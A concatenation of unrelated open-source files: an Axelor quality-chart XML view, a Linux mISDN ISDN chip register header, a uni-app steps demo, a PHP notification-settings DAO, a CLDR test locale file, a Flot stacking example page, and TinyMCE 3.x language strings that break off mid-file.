key="_team_name" type="text" title="Team"/> <series key="_passed" type="bar" groupBy="_status" title="Result" /> </chart> <chart onInit="action.quality.chart.set.date" name="chart.quality.controls.total.numbers" title="Number of quality controls"> <search-fields> <field type="date" name="fromDateT" title="From Date" x-required="true"/> <field type="date" name="toDateT" title="To Date" x-required="true"/> </search-fields> <dataset type="jpql"> <![CDATA[ SELECT COUNT(*) AS _controls, self.team.name AS _team FROM QualityControl self WHERE DATE(self.createdOn) BETWEEN DATE(:fromDateT) AND DATE(:toDateT) GROUP BY self.team.name ORDER BY self.team.name ]]> </dataset> <category key="_team" type="text"/> <series key="_controls" type="bar"/> </chart> <chart name="chart.quality.alerts.total.numbers" title="Number of quality alerts" onInit="action.quality.chart.set.date"> <search-fields> <field name="fromDateT" title="From Date" type="date" x-required="true"/> <field name="toDateT" title="To Date" type="date" x-required="true"/> </search-fields> <dataset type="jpql"> <![CDATA[ SELECT COUNT(*) AS _alerts, self.team.name AS _team FROM QualityAlert self WHERE DATE(self.createdOn) BETWEEN DATE(:fromDateT) AND DATE(:toDateT) GROUP BY self.team.name ORDER BY self.team.name ]]> </dataset> <category key="_team" type="text"/> <series key="_alerts" type="bar"/> </chart> <chart onInit="action.quality.chart.set.date" name="chart.quality.alerts.solved.total.numbers" title="Number of solved quality alerts"> <search-fields> <field type="date" name="fromDateT" title="From Date" x-required="true"/> <field type="date" name="toDateT" title="To Date" x-required="true"/> </search-fields> <dataset type="jpql"> <![CDATA[ SELECT COUNT(*) AS _alerts, self.team.name AS _team FROM QualityAlert self WHERE DATE(self.createdOn) BETWEEN DATE(:fromDateT) AND DATE(:toDateT) AND self.statusSelect = 4 GROUP BY self.team.name ORDER BY self.team.name ]]> </dataset> <category key="_team" type="text"/> <series key="_alerts" type="bar"/> </chart> <action-record model="com.axelor.apps.quality.db.ControlPoint" name="action.quality.chart.set.date"> <field name="toDateT" expr="eval: __date__"/> <field name="fromDateT" expr="eval:__date__.withDayOfMonth(1).withMonth(1)"/> </action-record> </object-views>
{ "pile_set_name": "Github" }
/* SPDX-License-Identifier: GPL-2.0-only */ /* * * ipac.h Defines for the Infineon (former Siemens) ISDN * chip series * * Author Karsten Keil <keil@isdn4linux.de> * * Copyright 2009 by Karsten Keil <keil@isdn4linux.de> */ #include "iohelper.h" struct isac_hw { struct dchannel dch; u32 type; u32 off; /* offset to isac regs */ char *name; spinlock_t *hwlock; /* lock HW access */ read_reg_func *read_reg; write_reg_func *write_reg; fifo_func *read_fifo; fifo_func *write_fifo; int (*monitor)(void *, u32, u8 *, int); void (*release)(struct isac_hw *); int (*init)(struct isac_hw *); int (*ctrl)(struct isac_hw *, u32, u_long); int (*open)(struct isac_hw *, struct channel_req *); u8 *mon_tx; u8 *mon_rx; int mon_txp; int mon_txc; int mon_rxp; struct arcofi_msg *arcofi_list; struct timer_list arcofitimer; wait_queue_head_t arcofi_wait; u8 arcofi_bc; u8 arcofi_state; u8 mocr; u8 adf2; u8 state; }; struct ipac_hw; struct hscx_hw { struct bchannel bch; struct ipac_hw *ip; u8 fifo_size; u8 off; /* offset to ICA or ICB */ u8 slot; char log[64]; }; struct ipac_hw { struct isac_hw isac; struct hscx_hw hscx[2]; char *name; void *hw; spinlock_t *hwlock; /* lock HW access */ struct module *owner; u32 type; read_reg_func *read_reg; write_reg_func *write_reg; fifo_func *read_fifo; fifo_func *write_fifo; void (*release)(struct ipac_hw *); int (*init)(struct ipac_hw *); int (*ctrl)(struct ipac_hw *, u32, u_long); u8 conf; }; #define IPAC_TYPE_ISAC 0x0010 #define IPAC_TYPE_IPAC 0x0020 #define IPAC_TYPE_ISACX 0x0040 #define IPAC_TYPE_IPACX 0x0080 #define IPAC_TYPE_HSCX 0x0100 #define ISAC_USE_ARCOFI 0x1000 /* Monitor functions */ #define MONITOR_RX_0 0x1000 #define MONITOR_RX_1 0x1001 #define MONITOR_TX_0 0x2000 #define MONITOR_TX_1 0x2001 /* All registers original Siemens Spec */ /* IPAC/ISAC registers */ #define ISAC_ISTA 0x20 #define ISAC_MASK 0x20 #define ISAC_CMDR 0x21 #define ISAC_STAR 0x21 #define ISAC_MODE 0x22 #define ISAC_TIMR 0x23 #define ISAC_EXIR 0x24 #define ISAC_RBCL 0x25 #define ISAC_RSTA 0x27 #define ISAC_RBCH 0x2A #define ISAC_SPCR 0x30 #define ISAC_CIR0 0x31 #define ISAC_CIX0 0x31 #define ISAC_MOR0 0x32 #define ISAC_MOX0 0x32 #define ISAC_CIR1 0x33 #define ISAC_CIX1 0x33 #define ISAC_MOR1 0x34 #define ISAC_MOX1 0x34 #define ISAC_STCR 0x37 #define ISAC_ADF1 0x38 #define ISAC_ADF2 0x39 #define ISAC_MOCR 0x3a #define ISAC_MOSR 0x3a #define ISAC_SQRR 0x3b #define ISAC_SQXR 0x3b #define ISAC_RBCH_XAC 0x80 #define IPAC_D_TIN2 0x01 /* IPAC/HSCX */ #define IPAC_ISTAB 0x20 /* RD */ #define IPAC_MASKB 0x20 /* WR */ #define IPAC_STARB 0x21 /* RD */ #define IPAC_CMDRB 0x21 /* WR */ #define IPAC_MODEB 0x22 /* R/W */ #define IPAC_EXIRB 0x24 /* RD */ #define IPAC_RBCLB 0x25 /* RD */ #define IPAC_RAH1 0x26 /* WR */ #define IPAC_RAH2 0x27 /* WR */ #define IPAC_RSTAB 0x27 /* RD */ #define IPAC_RAL1 0x28 /* R/W */ #define IPAC_RAL2 0x29 /* WR */ #define IPAC_RHCRB 0x29 /* RD */ #define IPAC_XBCL 0x2A /* WR */ #define IPAC_CCR2 0x2C /* R/W */ #define IPAC_RBCHB 0x2D /* RD */ #define IPAC_XBCH 0x2D /* WR */ #define HSCX_VSTR 0x2E /* RD */ #define IPAC_RLCR 0x2E /* WR */ #define IPAC_CCR1 0x2F /* R/W */ #define IPAC_TSAX 0x30 /* WR */ #define IPAC_TSAR 0x31 /* WR */ #define IPAC_XCCR 0x32 /* WR */ #define IPAC_RCCR 0x33 /* WR */ /* IPAC_ISTAB/IPAC_MASKB bits */ #define IPAC_B_XPR 0x10 #define IPAC_B_RPF 0x40 #define IPAC_B_RME 0x80 #define IPAC_B_ON 0x2F /* IPAC_EXIRB bits */ #define IPAC_B_RFS 0x04 #define IPAC_B_RFO 0x10 #define IPAC_B_XDU 0x40 #define IPAC_B_XMR 0x80 /* IPAC special registers */ #define IPAC_CONF 0xC0 /* R/W */ #define IPAC_ISTA 0xC1 /* RD */ #define IPAC_MASK 0xC1 /* WR */ #define IPAC_ID 0xC2 /* RD */ #define IPAC_ACFG 0xC3 /* R/W */ #define IPAC_AOE 0xC4 /* R/W */ #define IPAC_ARX 0xC5 /* RD */ #define IPAC_ATX 0xC5 /* WR */ #define IPAC_PITA1 0xC6 /* R/W */ #define IPAC_PITA2 0xC7 /* R/W */ #define IPAC_POTA1 0xC8 /* R/W */ #define IPAC_POTA2 0xC9 /* R/W */ #define IPAC_PCFG 0xCA /* R/W */ #define IPAC_SCFG 0xCB /* R/W */ #define IPAC_TIMR2 0xCC /* R/W */ /* IPAC_ISTA/_MASK bits */ #define IPAC__EXB 0x01 #define IPAC__ICB 0x02 #define IPAC__EXA 0x04 #define IPAC__ICA 0x08 #define IPAC__EXD 0x10 #define IPAC__ICD 0x20 #define IPAC__INT0 0x40 #define IPAC__INT1 0x80 #define IPAC__ON 0xC0 /* HSCX ISTA/MASK bits */ #define HSCX__EXB 0x01 #define HSCX__EXA 0x02 #define HSCX__ICA 0x04 /* ISAC/ISACX/IPAC/IPACX L1 commands */ #define ISAC_CMD_TIM 0x0 #define ISAC_CMD_RS 0x1 #define ISAC_CMD_SCZ 0x4 #define ISAC_CMD_SSZ 0x2 #define ISAC_CMD_AR8 0x8 #define ISAC_CMD_AR10 0x9 #define ISAC_CMD_ARL 0xA #define ISAC_CMD_DUI 0xF /* ISAC/ISACX/IPAC/IPACX L1 indications */ #define ISAC_IND_DR 0x0 #define ISAC_IND_RS 0x1 #define ISAC_IND_SD 0x2 #define ISAC_IND_DIS 0x3 #define ISAC_IND_RSY 0x4 #define ISAC_IND_DR6 0x5 #define ISAC_IND_EI 0x6 #define ISAC_IND_PU 0x7 #define ISAC_IND_ARD 0x8 #define ISAC_IND_TI 0xA #define ISAC_IND_ATI 0xB #define ISAC_IND_AI8 0xC #define ISAC_IND_AI10 0xD #define ISAC_IND_DID 0xF /* the new ISACX / IPACX */ /* D-channel registers */ #define ISACX_RFIFOD 0x00 /* RD */ #define ISACX_XFIFOD 0x00 /* WR */ #define ISACX_ISTAD 0x20 /* RD */ #define ISACX_MASKD 0x20 /* WR */ #define ISACX_STARD 0x21 /* RD */ #define ISACX_CMDRD 0x21 /* WR */ #define ISACX_MODED 0x22 /* R/W */ #define ISACX_EXMD1 0x23 /* R/W */ #define ISACX_TIMR1 0x24 /* R/W */ #define ISACX_SAP1 0x25 /* WR */ #define ISACX_SAP2 0x26 /* WR */ #define ISACX_RBCLD 0x26 /* RD */ #define ISACX_RBCHD 0x27 /* RD */ #define ISACX_TEI1 0x27 /* WR */ #define ISACX_TEI2 0x28 /* WR */ #define ISACX_RSTAD 0x28 /* RD */ #define ISACX_TMD 0x29 /* R/W */ #define ISACX_CIR0 0x2E /* RD */ #define ISACX_CIX0 0x2E /* WR */ #define ISACX_CIR1 0x2F /* RD */ #define ISACX_CIX1 0x2F /* WR */ /* Transceiver registers */ #define ISACX_TR_CONF0 0x30 /* R/W */ #define ISACX_TR_CONF1 0x31 /* R/W */ #define ISACX_TR_CONF2 0x32 /* R/W */ #define ISACX_TR_STA 0x33 /* RD */ #define ISACX_TR_CMD 0x34 /* R/W */ #define ISACX_SQRR1 0x35 /* RD */ #define ISACX_SQXR1 0x35 /* WR */ #define ISACX_SQRR2 0x36 /* RD */ #define ISACX_SQXR2 0x36 /* WR */ #define ISACX_SQRR3 0x37 /* RD */ #define ISACX_SQXR3 0x37 /* WR */ #define ISACX_ISTATR 0x38 /* RD */ #define ISACX_MASKTR 0x39 /* R/W */ #define ISACX_TR_MODE 0x3A /* R/W */ #define ISACX_ACFG1 0x3C /* R/W */ #define ISACX_ACFG2 0x3D /* R/W */ #define ISACX_AOE 0x3E /* R/W */ #define ISACX_ARX 0x3F /* RD */ #define ISACX_ATX 0x3F /* WR */ /* IOM: Timeslot, DPS, CDA */ #define ISACX_CDA10 0x40 /* R/W */ #define ISACX_CDA11 0x41 /* R/W */ #define ISACX_CDA20 0x42 /* R/W */ #define ISACX_CDA21 0x43 /* R/W */ #define ISACX_CDA_TSDP10 0x44 /* R/W */ #define ISACX_CDA_TSDP11 0x45 /* R/W */ #define ISACX_CDA_TSDP20 0x46 /* R/W */ #define ISACX_CDA_TSDP21 0x47 /* R/W */ #define ISACX_BCHA_TSDP_BC1 0x48 /* R/W */ #define ISACX_BCHA_TSDP_BC2 0x49 /* R/W */ #define ISACX_BCHB_TSDP_BC1 0x4A /* R/W */ #define ISACX_BCHB_TSDP_BC2 0x4B /* R/W */ #define ISACX_TR_TSDP_BC1 0x4C /* R/W */ #define ISACX_TR_TSDP_BC2 0x4D /* R/W */ #define ISACX_CDA1_CR 0x4E /* R/W */ #define ISACX_CDA2_CR 0x4F /* R/W */ /* IOM: Contol, Sync transfer, Monitor */ #define ISACX_TR_CR 0x50 /* R/W */ #define ISACX_TRC_CR 0x50 /* R/W */ #define ISACX_BCHA_CR 0x51 /* R/W */ #define ISACX_BCHB_CR 0x52 /* R/W */ #define ISACX_DCI_CR 0x53 /* R/W */ #define ISACX_DCIC_CR 0x53 /* R/W */ #define ISACX_MON_CR 0x54 /* R/W */ #define ISACX_SDS1_CR 0x55 /* R/W */ #define ISACX_SDS2_CR 0x56 /* R/W */ #define ISACX_IOM_CR 0x57 /* R/W */ #define ISACX_STI 0x58 /* RD */ #define ISACX_ASTI 0x58 /* WR */ #define ISACX_MSTI 0x59 /* R/W */ #define ISACX_SDS_CONF 0x5A /* R/W */ #define ISACX_MCDA 0x5B /* RD */ #define ISACX_MOR 0x5C /* RD */ #define ISACX_MOX 0x5C /* WR */ #define ISACX_MOSR 0x5D /* RD */ #define ISACX_MOCR 0x5E /* R/W */ #define ISACX_MSTA 0x5F /* RD */ #define ISACX_MCONF 0x5F /* WR */ /* Interrupt and general registers */ #define ISACX_ISTA 0x60 /* RD */ #define ISACX_MASK 0x60 /* WR */ #define ISACX_AUXI 0x61 /* RD */ #define ISACX_AUXM 0x61 /* WR */ #define ISACX_MODE1 0x62 /* R/W */ #define ISACX_MODE2 0x63 /* R/W */ #define ISACX_ID 0x64 /* RD */ #define ISACX_SRES 0x64 /* WR */ #define ISACX_TIMR2 0x65 /* R/W */ /* Register Bits */ /* ISACX/IPACX _ISTAD (R) and _MASKD (W) */ #define ISACX_D_XDU 0x04 #define ISACX_D_XMR 0x08 #define ISACX_D_XPR 0x10 #define ISACX_D_RFO 0x20 #define ISACX_D_RPF 0x40 #define ISACX_D_RME 0x80 /* ISACX/IPACX _ISTA (R) and _MASK (W) */ #define ISACX__ICD 0x01 #define ISACX__MOS 0x02 #define ISACX__TRAN 0x04 #define ISACX__AUX 0x08 #define ISACX__CIC 0x10 #define ISACX__ST 0x20 #define IPACX__ON 0x2C #define IPACX__ICB 0x40 #define IPACX__ICA 0x80 /* ISACX/IPACX _CMDRD (W) */ #define ISACX_CMDRD_XRES 0x01 #define ISACX_CMDRD_XME 0x02 #define ISACX_CMDRD_XTF 0x08 #define ISACX_CMDRD_STI 0x10 #define ISACX_CMDRD_RRES 0x40 #define ISACX_CMDRD_RMC 0x80 /* ISACX/IPACX _RSTAD (R) */ #define ISACX_RSTAD_TA 0x01 #define ISACX_RSTAD_CR 0x02 #define ISACX_RSTAD_SA0 0x04 #define ISACX_RSTAD_SA1 0x08 #define ISACX_RSTAD_RAB 0x10 #define ISACX_RSTAD_CRC 0x20 #define ISACX_RSTAD_RDO 0x40 #define ISACX_RSTAD_VFR 0x80 /* ISACX/IPACX _CIR0 (R) */ #define ISACX_CIR0_BAS 0x01 #define ISACX_CIR0_SG 0x08 #define ISACX_CIR0_CIC1 0x08 #define ISACX_CIR0_CIC0 0x08 /* B-channel registers */ #define IPACX_OFF_ICA 0x70 #define IPACX_OFF_ICB 0x80 /* ICA: IPACX_OFF_ICA + Reg ICB: IPACX_OFF_ICB + Reg */ #define IPACX_ISTAB 0x00 /* RD */ #define IPACX_MASKB 0x00 /* WR */ #define IPACX_STARB 0x01 /* RD */ #define IPACX_CMDRB 0x01 /* WR */ #define IPACX_MODEB 0x02 /* R/W */ #define IPACX_EXMB 0x03 /* R/W */ #define IPACX_RAH1 0x05 /* WR */ #define IPACX_RAH2 0x06 /* WR */ #define IPACX_RBCLB 0x06 /* RD */ #define IPACX_RBCHB 0x07 /* RD */ #define IPACX_RAL1 0x07 /* WR */ #define IPACX_RAL2 0x08 /* WR */ #define IPACX_RSTAB 0x08 /* RD */ #define IPACX_TMB 0x09 /* R/W */ #define IPACX_RFIFOB 0x0A /* RD */ #define IPACX_XFIFOB 0x0A /* WR */ /* IPACX_ISTAB / IPACX_MASKB bits */ #define IPACX_B_XDU 0x04 #define IPACX_B_XPR 0x10 #define IPACX_B_RFO 0x20 #define IPACX_B_RPF 0x40 #define IPACX_B_RME 0x80 #define IPACX_B_ON 0x0B extern int mISDNisac_init(struct isac_hw *, void *); extern irqreturn_t mISDNisac_irq(struct isac_hw *, u8); extern u32 mISDNipac_init(struct ipac_hw *, void *); extern irqreturn_t mISDNipac_irq(struct ipac_hw *, int);
{ "pile_set_name": "Github" }
<template> <view class="container"> <view class="tui-title"> 水平方向 </view> <tui-steps :items="items" spacing="180rpx" :activeSteps="activeSteps"></tui-steps> <view class="tui-top"> <tui-steps :items="items" :type="2" spacing="180rpx" :activeSteps="activeSteps"></tui-steps> </view> <view class="tui-top"> <tui-steps :items="items2" :type="2" spacing="180rpx" :activeSteps="activeSteps"></tui-steps> </view> <view class="tui-top"> <tui-steps :items="items2" lineStyle="dashed" :type="2" spacing="180rpx" :activeSteps="activeSteps"></tui-steps> </view> <view class="tui-title"> 垂直方向 </view> <view class="tui-top tui-flex-box"> <tui-steps :activeSteps="activeSteps" :items="items" direction="column" deactiveColor="#c0c0c0" activeColor="#19be6b"></tui-steps> <tui-steps :activeSteps="activeSteps" :items="items" direction="column" :type="2" deactiveColor="#c0c0c0" activeColor="#EB0909"></tui-steps> </view> <view class="tui-btn-box"> <tui-button @click="change" shape="circle">下一步</tui-button> </view> </view> </template> <script> export default { data() { return { items: [{ title: "步骤一", desc: "2020-04-01" }, { title: "步骤二", desc: "2020-04-01" }, { title: "步骤三", desc: "2020-04-01" }, { title: "步骤四", desc: "2020-04-01" }], items2: [{ title: "", desc: "code", name:"", icon:"/static/images/tabbar/code_gray.png", activeIcon:"/static/images/tabbar/code_active.png" }, { title: "", desc: "extend", name:"", icon:"/static/images/tabbar/extend_gray.png", activeIcon:"/static/images/tabbar/extend_active.png" }, { title: "", desc: "my", name:"", icon:"/static/images/tabbar/thor_gray.png", activeIcon:"/static/images/tabbar/thor_active.png" }, { title: "", desc: "thor", name:"", icon:"/static/images/tabbar/thor_gray.png", activeIcon:"/static/images/tabbar/thor_active.png" }], activeSteps: 1 } }, methods: { change() { let steps = this.activeSteps + 1 this.activeSteps = steps > 3 ? 0 : steps } } } </script> <style> .container{ padding-bottom: 90rpx; } .tui-title { width: 100%; padding: 50rpx 30rpx 30rpx; box-sizing: border-box; font-size: 32rpx; color: #333; font-weight: bold; } .tui-top { margin-top: 40rpx; } .tui-flex-box { width: 100%; padding: 0 50rpx; box-sizing: border-box; display: flex; justify-content: space-between; } .tui-btn-box { width: 100%; padding: 0 30rpx; box-sizing: border-box; } </style>
{ "pile_set_name": "Github" }
<?php /** * @file classes/notification/NotificationSettingsDAO.inc.php * * Copyright (c) 2014-2020 Simon Fraser University * Copyright (c) 2000-2020 John Willinsky * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING. * * @class NotificationSettingsDAO * @ingroup notification * @see Notification * * @brief Operations for retrieving and modifying Notification metadata. */ import('classes.notification.Notification'); class NotificationSettingsDAO extends DAO { /** * Update a notification's metadata * @param $notificationId int * @return $params array */ function getNotificationSettings($notificationId) { $result = $this->retrieve( 'SELECT * FROM notification_settings WHERE notification_id = ?', (int) $notificationId ); $params = array(); while (!$result->EOF) { $row = $result->GetRowAssoc(false); $name = $row['setting_name']; $value = $this->convertFromDB($row['setting_value'], $row['setting_type']); $locale = $row['locale']; if ($locale == '') $params[$name] = $value; else $params[$name][$locale] = $value; $result->MoveNext(); } $result->Close(); return $params; } /** * Store a notification's metadata * @param $notificationId int * @param $name string * @param $value string * @param $isLocalized boolean optional * @param $type string optional * @param $params array */ function updateNotificationSetting($notificationId, $name, $value, $isLocalized = false, $type = null) { $keyFields = array('setting_name', 'locale', 'notification_id'); if (!$isLocalized) { $value = $this->convertToDB($value, $type); $this->replace('notification_settings', array( 'notification_id' => (int) $notificationId, 'setting_name' => $name, 'setting_value' => $value, 'setting_type' => $type, 'locale' => '' ), $keyFields ); } else { if (is_array($value)) foreach ($value as $locale => $localeValue) { $this->update('DELETE FROM notification_settings WHERE notification_id = ? AND setting_name = ? AND locale = ?', array($notificationId, $name, $locale)); if (empty($localeValue)) continue; $type = null; $this->update('INSERT INTO notification_settings (notification_id, setting_name, setting_value, setting_type, locale) VALUES (?, ?, ?, ?, ?)', array( (int) $notificationId, $name, $this->convertToDB($localeValue, $type), $type, $locale ) ); } } } /** * Delete all settings for a notification * @param $notificationId */ function deleteSettingsByNotificationId($notificationId) { return $this->update('DELETE FROM notification_settings WHERE notification_id = ?', (int) $notificationId); } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8" ?> <ldml> <identity> <language type="en"/> </identity> <dates> <calendars> <calendar type="buddhist"> <eras> <eraAbbr> <era type="0">BE</era> </eraAbbr> </eras> </calendar> <calendar type="chinese"> <months> <monthContext type="format"> <monthWidth type="abbreviated"> <month type="1">Mo1</month> <month type="2">Mo2</month> <month type="3">Mo3</month> <month type="4">Mo4</month> <month type="5">Mo5</month> <month type="6">Mo6</month> <month type="7">Mo7</month> <month type="8">Mo8</month> <month type="9">Mo9</month> <month type="10">Mo10</month> <month type="11">Mo11</month> <month type="12">Mo12</month> </monthWidth> <monthWidth type="wide"> <month type="1">First Month</month> <month type="2">Second Month</month> <month type="3">Third Month</month> <month type="4">Fourth Month</month> <month type="5">Fifth Month</month> <month type="6">Sixth Month</month> <month type="7">Seventh Month</month> <month type="8">Eighth Month</month> <month type="9">Ninth Month</month> <month type="10">Tenth Month</month> <month type="11">Eleventh Month</month> <month type="12">Twelfth Month</month> </monthWidth> </monthContext> </months> <cyclicNameSets> <cyclicNameSet type="zodiacs"> <cyclicNameContext type="format"> <cyclicNameWidth type="abbreviated"> <cyclicName type="1">Rat</cyclicName> <cyclicName type="2">Ox</cyclicName> <cyclicName type="3">Tiger</cyclicName> <cyclicName type="4">Rabbit</cyclicName> <cyclicName type="5">Dragon</cyclicName> <cyclicName type="6">Snake</cyclicName> <cyclicName type="7">Horse</cyclicName> <cyclicName type="8">Goat</cyclicName> <cyclicName type="9">Monkey</cyclicName> <cyclicName type="10">Rooster</cyclicName> <cyclicName type="11">Dog</cyclicName> <cyclicName type="12">Pig</cyclicName> </cyclicNameWidth> </cyclicNameContext> </cyclicNameSet> </cyclicNameSets> </calendar> <calendar type="generic"> </calendar> <calendar type="gregorian"> <months> <monthContext type="format"> <monthWidth type="wide"> <month type="1">enWideM1</month> <month type="2">enWideM2</month> <month type="3">enWideM3</month> <month type="4">enWideM4</month> <month type="5">enWideM5</month> <month type="6">enWideM6</month> <month type="7">enWideM7</month> <month type="8">enWideM8</month> <month type="9">enWideM9</month> <month type="10">enWideM10</month> <month type="11">enWideM11</month> <month type="12">enWideM12</month> </monthWidth> </monthContext> <monthContext type="stand-alone"> <monthWidth type="narrow"> <month type="1">enNarrowM1</month> <month type="2">enNarrowM2</month> <month type="3">enNarrowM3</month> <month type="4">enNarrowM4</month> <month type="5">enNarrowM5</month> <month type="6">enNarrowM6</month> <!-- missing --> <month type="8">enNarrowM8</month> <month type="9">enNarrowM9</month> <month type="10">enNarrowM10</month> <month type="11">enNarrowM11</month> <month type="12">enNarrowM12</month> </monthWidth> </monthContext> </months> <eras> <eraNames> <era type="0">Before Christ</era> <era type="0" alt="variant">Before Common Era</era> <era type="1">Anno Domini</era> <era type="1" alt="variant">Common Era</era> </eraNames> <eraAbbr> <era type="0">BC</era> <era type="0" alt="variant">BCE</era> <era type="1">AD</era> <era type="1" alt="variant">CE</era> </eraAbbr> <!-- nothing for eraNarrow --> </eras> </calendar> <calendar type="hebrew"> <eras> <eraAbbr> <era type="0">AM</era> </eraAbbr> </eras> </calendar> <calendar type="islamic"> <eras> <eraAbbr> <era type="0">AH</era> </eraAbbr> </eras> </calendar> </calendars> <fields> <field type="era"> <displayName>era</displayName> </field> <field type="month"> <displayName>month</displayName> <relative type="-1">last month</relative> <relative type="0">this month</relative> <relative type="1">next month</relative> <relativeTime type="future"> <relativeTimePattern count="one">enFutMOne</relativeTimePattern> <relativeTimePattern count="other">enFutMOther</relativeTimePattern> </relativeTime> <relativeTime type="past"> <relativeTimePattern count="one">enPastMOne</relativeTimePattern> <relativeTimePattern count="other">enPastMOther</relativeTimePattern> </relativeTime> </field> <field type="month-short"> <displayName>mo.</displayName> <relative type="-1">last mo.</relative> <relative type="0">this mo.</relative> <relative type="1">next mo.</relative> <relativeTime type="future"> <relativeTimePattern count="one">enShortFutMOne</relativeTimePattern> <relativeTimePattern count="other">enShortFutMOther</relativeTimePattern> </relativeTime> <relativeTime type="past"> <relativeTimePattern count="one">enShortPastMOne</relativeTimePattern> <relativeTimePattern count="other">enShortPastMOther</relativeTimePattern> </relativeTime> </field> </fields> </dates> </ldml>
{ "pile_set_name": "Github" }
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Flot Examples: Stacking</title> <link href="../examples.css" rel="stylesheet" type="text/css"> <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../../excanvas.min.js"></script><![endif]--> <script language="javascript" type="text/javascript" src="../../jquery.js"></script> <script language="javascript" type="text/javascript" src="../../jquery.flot.js"></script> <script language="javascript" type="text/javascript" src="../../jquery.flot.stack.js"></script> <script type="text/javascript"> $(function() { var d1 = []; for (var i = 0; i <= 10; i += 1) { d1.push([i, parseInt(Math.random() * 30)]); } var d2 = []; for (var i = 0; i <= 10; i += 1) { d2.push([i, parseInt(Math.random() * 30)]); } var d3 = []; for (var i = 0; i <= 10; i += 1) { d3.push([i, parseInt(Math.random() * 30)]); } var stack = 0, bars = true, lines = false, steps = false; function plotWithOptions() { $.plot("#placeholder", [ d1, d2, d3 ], { series: { stack: stack, lines: { show: lines, fill: true, steps: steps }, bars: { show: bars, barWidth: 0.6 } } }); } plotWithOptions(); $(".stackControls button").click(function (e) { e.preventDefault(); stack = $(this).text() == "With stacking" ? true : null; plotWithOptions(); }); $(".graphControls button").click(function (e) { e.preventDefault(); bars = $(this).text().indexOf("Bars") != -1; lines = $(this).text().indexOf("Lines") != -1; steps = $(this).text().indexOf("steps") != -1; plotWithOptions(); }); // Add the Flot version string to the footer $("#footer").prepend("Flot " + $.plot.version + " &ndash; "); }); </script> </head> <body> <div id="header"> <h2>Stacking</h2> </div> <div id="content"> <div class="demo-container"> <div id="placeholder" class="demo-placeholder"></div> </div> <p>With the stack plugin, you can have Flot stack the series. This is useful if you wish to display both a total and the constituents it is made of. The only requirement is that you provide the input sorted on x.</p> <p class="stackControls"> <button>With stacking</button> <button>Without stacking</button> </p> <p class="graphControls"> <button>Bars</button> <button>Lines</button> <button>Lines with steps</button> </p> </div> <div id="footer"> Copyright &copy; 2007 - 2014 IOLA and Ole Laursen </div> </body> </html>
{ "pile_set_name": "Github" }
/** * TinyMCE 3.x language strings * * Loaded only when external plugins are added to TinyMCE. */ ( function() { var main = {}, lang = 'en'; if ( typeof tinyMCEPreInit !== 'undefined' && tinyMCEPreInit.ref.language !== 'en' ) { lang = tinyMCEPreInit.ref.language; } main[lang] = { common: { edit_confirm: "Do you want to use the WYSIWYG mode for this textarea?", apply: "Apply", insert: "Insert", update: "Update", cancel: "Cancel", close: "Close", browse: "Browse", class_name: "Class", not_set: "-- Not set --", clipboard_msg: "Copy/Cut/Paste is not available in Mozilla and Firefox.", clipboard_no_support: "Currently not supported by your browser, use keyboard shortcuts instead.", popup_blocked: "Sorry, but we have noticed that your popup-blocker has disabled a window that provides application functionality. You will need to disable popup blocking on this site in order to fully utilize this tool.", invalid_data: "ERROR: Invalid values entered, these are marked in red.", invalid_data_number: "{#field} must be a number", invalid_data_min: "{#field} must be a number greater than {#min}", invalid_data_size: "{#field} must be a number or percentage", more_colors: "More colors" }, colors: { "000000": "Black", "993300": "Burnt orange", "333300": "Dark olive", "003300": "Dark green", "003366": "Dark azure", "000080": "Navy Blue", "333399": "Indigo", "333333": "Very dark gray", "800000": "Maroon", "FF6600": "Orange", "808000": "Olive", "008000": "Green", "008080": "Teal", "0000FF": "Blue", "666699": "Grayish blue", "808080": "Gray", "FF0000": "Red", "FF9900": "Amber", "99CC00": "Yellow green", "339966": "Sea green", "33CCCC": "Turquoise", "3366FF": "Royal blue", "800080": "Purple", "999999": "Medium gray", "FF00FF": "Magenta", "FFCC00": "Gold", "FFFF00": "Yellow", "00FF00": "Lime", "00FFFF": "Aqua", "00CCFF": "Sky blue", "993366": "Brown", "C0C0C0": "Silver", "FF99CC": "Pink", "FFCC99": "Peach", "FFFF99": "Light yellow", "CCFFCC": "Pale green", "CCFFFF": "Pale cyan", "99CCFF": "Light sky blue", "CC99FF": "Plum", "FFFFFF": "White" }, contextmenu: { align: "Alignment", left: "Left", center: "Center", right: "Right", full: "Full" }, insertdatetime: { date_fmt: "%Y-%m-%d", time_fmt: "%H:%M:%S", insertdate_desc: "Insert date", inserttime_desc: "Insert time", months_long: "January,February,March,April,May,June,July,August,September,October,November,December", months_short: "Jan_January_abbreviation,Feb_February_abbreviation,Mar_March_abbreviation,Apr_April_abbreviation,May_May_abbreviation,Jun_June_abbreviation,Jul_July_abbreviation,Aug_August_abbreviation,Sep_September_abbreviation,Oct_October_abbreviation,Nov_November_abbreviation,Dec_December_abbreviation", day_long: "Sunday,Monday,Tuesday,Wednesday,Thursday,Friday,Saturday", day_short: "Sun,Mon,Tue,Wed,Thu,Fri,Sat" }, print: { print_desc: "Print" }, preview: { preview_desc: "Preview" }, directionality: { ltr_desc: "Direction left to right", rtl_desc: "Direction right to left" }, layer: { insertlayer_desc: "Insert new layer", forward_desc: "Move forward", backward_desc: "Move backward", absolute_desc: "Toggle absolute positioning", content: "New layer..." }, save: { save_desc: "Save", cancel_desc: "Cancel all changes" }, nonbreaking: { nonbreaking_desc: "Insert non-breaking space character" }, iespell: { iespell_desc: "Run spell checking", download: "ieSpell not detected. Do you want to install it now?" }, advhr: { advhr_desc: "Horizontal rule" }, emotions: { emotions_desc: "Emotions" }, searchreplace: { search_desc: "Find", replace_desc: "Find/Replace" }, advimage: { image_desc: "Insert/edit image" }, advlink: { link_desc: "Insert/edit link" }, xhtmlxtras: { cite_desc: "Citation", abbr_desc: "Abbreviation", acronym_desc: "Acronym", del_desc: "Deletion", ins_desc: "Insertion", attribs_desc: "Insert/Edit Attributes" }, style: { desc: "Edit CSS Style" }, paste: { paste_text_desc: "Paste as Plain Text", paste_word_desc: "Paste from Word", selectall_desc: "Select All", plaintext_mode_sticky: "Paste is now in plain text mode. Click again to toggle back to regular paste mode. After you paste something you will be returned to regular paste mode.", plaintext_mode: "Paste is now in plain text mode. Click again to toggle 